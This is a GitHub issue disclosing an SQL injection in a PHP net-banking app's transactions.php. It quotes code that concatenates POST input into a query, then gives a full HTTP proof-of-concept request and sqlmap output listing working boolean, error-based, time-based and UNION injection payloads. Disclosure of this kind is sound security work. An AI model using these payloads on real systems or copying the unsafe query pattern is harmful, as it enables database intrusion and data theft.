<> Code   ⊙ **Issues** 16   ⌥ Pull requests   ▷ Actions   ▦ Projects   ⊘ Security   •••

New issue

Found a vulnerability #11

⊙ Open   **0clickjacking0** opened this issue on Sep 5 · 0 comments

---

0clickjacking0 commented on Sep 5

Vulnerability file address

`net-banking/transactions.php` from line 28,The `$_POST['search_term']` parameter is controllable, the parameter search_term can be passed through post, and the `$_POST['search_term']` is not protected from sql injection, line 170 `$result = $conn->query($sql0);` made a sql query,resulting in sql injection

```
......
......
......
    if (isset($_POST['search_term'])) {
        $_SESSION['search_term'] = $_POST['search_term'];
    }
    if (isset($_POST['date_from'])) {
        $_SESSION['date_from'] = $_POST['date_from'];
    }
    if (isset($_POST['date_to'])) {
        $_SESSION['date_to'] = $_POST['date_to'];
    }

    // Filter indicator variable
    $filter_indicator = "None";

    // Queries when search is set
    if (!empty($_SESSION['search_term'])) {
        $sql0 .= " WHERE remarks COLLATE latin1_GENERAL_CI LIKE '%".$_SESSION['search_term']."%'";
        $filter_indicator = "Remarks";

        if (!empty($_SESSION['date_from']) && empty($_SESSION['date_to'])) {
            $sql0 .= " AND trans_date > '".$_SESSION['date_from']." 00:00:00'";
            $filter_indicator = "Remarks & Date From";
        }
        if (empty($_SESSION['date_from']) && !empty($_SESSION['date_to'])) {
            $sql0 .= " AND trans_date < '".$_SESSION['date_to']." 23:59:59'";
            $filter_indicator = "Remarks & Date To";
        }
        if (!empty($_SESSION['date_from']) && !empty($_SESSION['date_to'])) {
```

```php
        $sql0 .=  " AND trans_date BETWEEN '".$_SESSION['date_from']." 00:00:00' AND '".$_SESSION
        $filter_indicator = "Remarks, Date From & Date To";
      }
    }

    // Queries when search is not set
    if (empty($_SESSION['search_term'])) {
        if (!empty($_SESSION['date_from']) && empty($_SESSION['date_to'])) {
            $sql0 .= " WHERE trans_date > '".$_SESSION['date_from']." 00:00:00'";
            $filter_indicator = "Date From";
        }
        if (empty($_SESSION['date_from']) && !empty($_SESSION['date_to'])) {
            $sql0 .= " WHERE trans_date < '".$_SESSION['date_to']." 23:59:59'";
            $filter_indicator = "Date To";
        }
        if (!empty($_SESSION['date_from']) && !empty($_SESSION['date_to'])) {
            $sql0 .=  " WHERE trans_date BETWEEN '".$_SESSION['date_from']." 00:00:00' AND '".$_SESSI
            $filter_indicator = "Date From & Date To";
        }
    }
......
......
......

    <?php
        $result = $conn->query($sql0);
......
......
......
```

POC

```
POST /net-banking/transactions.php?cust_id=1 HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

search_term=' AND (SELECT 5964 FROM (SELECT(SLEEP(5)))doHk)-- TErm
```

Attack results pictures

```
[21:18:42] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:18:52] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[21:18:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:18:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential
) technique found
[21:18:52] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query co
lumns. Automatically extending the range for current UNION query injection technique test
[21:18:52] [INFO] target URL appears to have 6 columns in query
[21:18:52] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: search_term=' AND 4916=4916-- CZGT

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: search_term=' AND (SELECT 4027 FROM(SELECT COUNT(*),CONCAT(0x7162706a71,(SELECT (ELT(4027=4027,1))),0x71716b7171,FLOOR(
RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FAVd

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search_term=' AND (SELECT 5964 FROM (SELECT(SLEEP(5)))doHk)-- TErm

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: search_term=' UNION ALL SELECT CONCAT(0x7162706a71,0x7a7445675743436c6977514e574d506867464e70646c7573526b444c467a485a66
4a4b4756695173,0x71716b7171),NULL,NULL,NULL,NULL,NULL-- -
---
[21:18:53] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.40, Nginx 1.21.2, PHP
back-end DBMS: MySQL >= 5.0
[21:18:54] [INFO] fetched data logged to text files under '/Users/xianyu123/.sqlmap/output/www.bank.net'

[*] ending @ 21:18:54 /2022-09-04/
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant